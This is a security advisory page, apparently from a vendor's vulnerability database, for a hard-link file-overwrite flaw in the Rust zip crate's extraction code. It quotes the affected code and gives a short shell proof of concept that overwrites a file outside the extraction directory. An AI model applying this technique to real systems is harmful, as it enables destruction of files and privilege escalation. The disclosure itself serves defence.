Vulnerability DatabaseGHSA-gfq6-89vx-q4j7

GHSA-gfq6-89vx-q4j7: 
Rust vulnerability analysis and mitigation

Summary

In src/read/extract.rs, the create_outfile function opens destination files using truncate(true) without unlinking pre-existing hardlinks and without enforcing O_NOFOLLOW on Unix platforms. When extracting an archive into a directory containing an existing hardlink, the target file outside the destination directory is truncated and overwritten with archive contents.

Details

In src/read/extract.rs, the function create_outfile checks whether outpath is a symbolic link using std::fs::symlink_metadata. If so, it removes the file. However, it does not handle hard links, nor does it pass libc::O_NOFOLLOW on Unix platforms:

// src/read/extract.rs:304-325
if let Ok(meta) = std::fs::symlink_metadata(outpath)
    && meta.file_type().is_symlink()
{
    std::fs::remove_file(outpath)?;
}
let mut options = std::fs::OpenOptions::new();
options.create(true).write(true).truncate(true); // <--- Truncate enabled!
#[cfg(unix)]
if let Some(mode) = unix_mode {
    use std::os::unix::fs::OpenOptionsExt;
    options.mode(mode);
}
#[cfg(windows)]
{
    use std::os::windows::fs::OpenOptionsExt;
    options.custom_flags(
        windows_sys::Win32::Storage::FileSystem::FILE_FLAG_OPEN_REPARSE_POINT
            | windows_sys::Win32::Storage::FileSystem::FILE_FLAG_SEQUENTIAL_SCAN,
    );
}
let file = options.open(outpath)?;

Key observations in this execution flow:

  1. Pre-existing Hard Links (st_nlink > 1): symlink_metadata reports is_symlink() == false for hard links. If a destination path already exists as a hard link pointing to an external file, create_outfile does not unlink it. It opens the path with options.create(true).write(true).truncate(true). Consequently, the external file sharing the same inode is truncated to 0 bytes and overwritten by copy_into.
  2. Missing O_NOFOLLOW on Unix: While Windows sets FILE_FLAG_OPEN_REPARSE_POINT, Unix targets do not configure OpenOptionsExt::custom_flags(libc::O_NOFOLLOW). If a path resolves to a link when open is invoked, the kernel follows the link and applies O_TRUNC immediately.
  3. Post-open Metadata Check:
// src/read/extract.rs:326-333
if file.metadata()?.file_type().is_symlink()
    || std::fs::symlink_metadata(outpath).is_ok_and(|meta| meta.file_type().is_symlink())
{
    return Err(std::io::Error::new(
        std::io::ErrorKind::PermissionDenied,
        "Extracted file cannot be written through a symbolic link",
    ));
}

The check file.metadata()?.file_type().is_symlink() calls fstat on the descriptor. On Unix, this queries the underlying target rather than the link, returning false for regular files.

Proof of Concept

  1. Create a target configuration file outside the extraction destination:
echo "ORIGINAL_CONFIG_VALUE" > /tmp/target_file.conf
  1. Prepare an extraction directory and create a hard link to the target file:
mkdir -p /tmp/dest
ln /tmp/target_file.conf /tmp/dest/app.conf
  1. Create a ZIP archive containing an entry named app.conf with new content:
echo "OVERWRITTEN_CONTENT" > payload.txt
zip -j archive.zip payload.txt

# Rename entry inside zip to app.conf
  1. Extract the archive into /tmp/dest using ZipArchive::extract:
archive.extract("/tmp/dest")?;
  1. Verify the external file:
cat /tmp/target_file.conf

Observed Result: /tmp/target_file.conf now contains OVERWRITTEN_CONTENT. Because create_outfile does not inspect hard link counts or unlink existing regular files, the external inode was truncated and overwritten during extraction.

Impact

Arbitrary File Overwrite and File Destruction (CWE-59: Improper Link Resolution Before File Access, CWE-367: Time-of-check Time-of-use Race Condition). Applications, backend services, or CI/CD pipelines extracting ZIP archives on Unix/Linux systems into shared directories (e.g. /tmp, shared volume mounts) or directories containing pre-existing hard links can have arbitrary external files truncated and overwritten. If targeted at executable scripts, configuration files, or user profile environments, this can lead to privilege escalation or service disruption with the permissions of the extracting process.


Source: NVD

Related Rust vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-gfq6-89vx-q4j7CRITICAL9.3
  • Rust logoRust
  • zip
NoNoNov 16, 2026
GHSA-cm63-4mhh-887hCRITICAL9.2
  • Rust logoRust
  • zip
NoYesNov 16, 2026
GHSA-4963-ggxm-v64xMEDIUM6.9
  • Rust logoRust
  • zip
NoYesNov 16, 2026
GHSA-qg9m-hhhf-rqjcHIGHN/A
  • Rust logoRust
  • reed-compiler
NoYesNov 16, 2026
GHSA-4q2p-cw9r-mwxmLOWN/A
  • Rust logoRust
  • static-web-server
NoYesNov 16, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management